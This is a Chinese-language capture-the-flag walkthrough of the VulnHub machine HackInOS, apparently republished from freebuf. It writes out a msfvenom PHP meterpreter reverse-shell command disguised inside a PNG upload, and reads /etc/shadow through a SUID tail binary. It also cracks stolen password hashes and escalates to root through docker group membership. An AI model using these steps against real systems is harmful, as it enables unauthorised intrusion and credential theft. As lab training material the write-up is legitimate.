VulnHub靶机学习——HackInOS实战记录 – 作者:你伤不到我哒

 一,运行说明

       * 靶机难度:初\中级

       * 目       标:提权、获取flag

       * 运行环境:攻击机kali linux

                            靶机HackInOS

                            均运行于VM VirtualBox

       * 网络设置:均为Nat模式

二、过程

   1、前期信息搜集

          首先要用Nmap找到靶机地址,在这里我的靶机地址是10.0.2.15,可以看到开放了22和8000端口。

image.png

           先在浏览器中访问一下。

image.png

        可以看到有个搜索框,于是我就天真的以为可能会存在SQL注入,在sqlmap里跑了一下~

image.pngimage.png

        结果是喜闻乐见的没有注入,需要从别的地方找突破口了。

        最近发现火狐浏览器里的wappalyzer插件是个好东西,可以通过该插件能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数,使用时很简单,开启你要分析、检测的网页后,点选该图示即可看到网站使用的相关技术和服务。

image.png

       不知为啥,在页面点击链接的时候,总是会跳转到Localhost页面。

image.png

       查看网页源代码发现网页链接就是指向Localhost页面的,不知作者为什么这样做,浏览页面时很麻烦,严重影响用户体验。。。

image.png       既然都没什么发现,那就Nmap再扫一下,同时爆破一波目录

image.png

image.png         看到upload.php,马上想到了文件上传漏洞,先打开看一下

image.png

         整个页面只有一处上传文件的地方,且只能上传图片格式文件
         查看一下网页源代码

image.png         发现源代码中有一处指向Github的链接,访问此链接查看upload.php的源码

image.png         通过阅读源码可了解到系统只允许上传PNG或GIF格式的图片,并且会校验文件内容,通过校验的文件会保存在uploads目录中,使用随机生成的md5值来对上传的文件进行重命名,但是不会改变上传文件的后缀格式。

        这种情况下可以使用Meterpreter进行渗透,先使用该软件生成一个后门

image.png     可以看到我的靶机地址是10.0.2.4。在kali命令行中执行msfvenom-p php/meterpreter/reverse_tcp lhost=10.0.2.4 lport=6666 -f raw生成木马

       就这样,一个喜闻乐见的木马生成了,把payload复制下来保存到php文件中,然后跟正常的png文件合并到一起

image.png       因为系统不检查文件后缀是否为图片格式,所以被重命名为php后缀后一样可以正常上传文件

       然后打开Metasploit,在exploit/multi/handler模块中设置Payload和监听主机、监听端口等参数

image.png

         因为上传文件后靶机对其进行了MD5的重命名,所以可以写一个python脚本来帮助我们找到并访问上传的木马

image.png        在靶机中运行一下即可连接

image.png

image.png

        可以看到现在已经连接成功,但是个低权限账户,等会肯定需要提权。

image.png

         先看一下文件夹中有哪些文件

image.pngimage.png       打开wp-config.php,找到数据库连接信息

image.png

       上传一个Linux提权信息收集脚本,下载地址:https://www.securitysift.com/download/linuxprivchecker.py

image.png       执行命令查看一下相关信息

image.pngimage.png      输出的信息有点多,这一行出现了docker的相关信息,盲猜运行在docker中,先继续往下看。

      可以看到tail被设置了suid

image.png

      直接用tail命令读取shadow文件image.png

       至此拿到了root用户密码的哈希值,需要破解一下

image.png      root密码是john,那么就可以提权了。

image.png      又是提示需要一个终端,这种情况以前的靶机经常碰到,执行python-c “import pty;pty.spawn(‘/bin/bash’);”命令即可解决

image.png

      flag很好找,打开即可image.png

      生活需要细节,有丶东西,没想到作者还是个带哲学家。

      敲锣打鼓准备收工。但是跟网上大佬们的渗透过程对比却发现,这不是要找的flag。果然自己还是图样图森破,这作者拐弯抹角的属实带恶人

      现在已经拿到了root权限,先进数据库看看 

      mysql -hdb -u wordpress -p wordpress    

      show tablesimage.png

      可以看到一个跟ssh有关的表,一开始用Nmap扫的时候可以看到22端口是开着的,先打开这个表看一下 select * from host_ssh_cred;

image.png      找到了ID和经MD5加密的密码,这就很简单了

image.png      密码是123456,用ssh连接一下

image.png      登陆成功,刚才我们已经注意到系统可能使运行在docker里,先确定一下

image.png      发现这是docker组的成员。我们可以利用dcoker来提权  docker run -it -v /:/root ubuntu /bin/bash    将/root路径下的文件映射到docker的根目录下

image.png      然后就可以找到真正的flag了

image.png三,总结

        总体来说因为本人太菜的原因感觉还是有一定难度的,尤其是提权部分,没有别人的教程可能都找不到flag。最近因为项目的原因靶机一直没怎么做,Hackinos前前后后也弄了很长时间,还得需要多学多练才对。

        另外,关于docker的提权有兴趣 的可以看一下大佬总结的这篇文章《普通用户借助Docker容器提权思路分享》https://www.freebuf.com/articles/system/170783.html

关注我们

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或长按二维码关注公众号:

Tide_二维码.png

来源:freebuf.com 2019-11-01 16:17:34 by: 你伤不到我哒

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论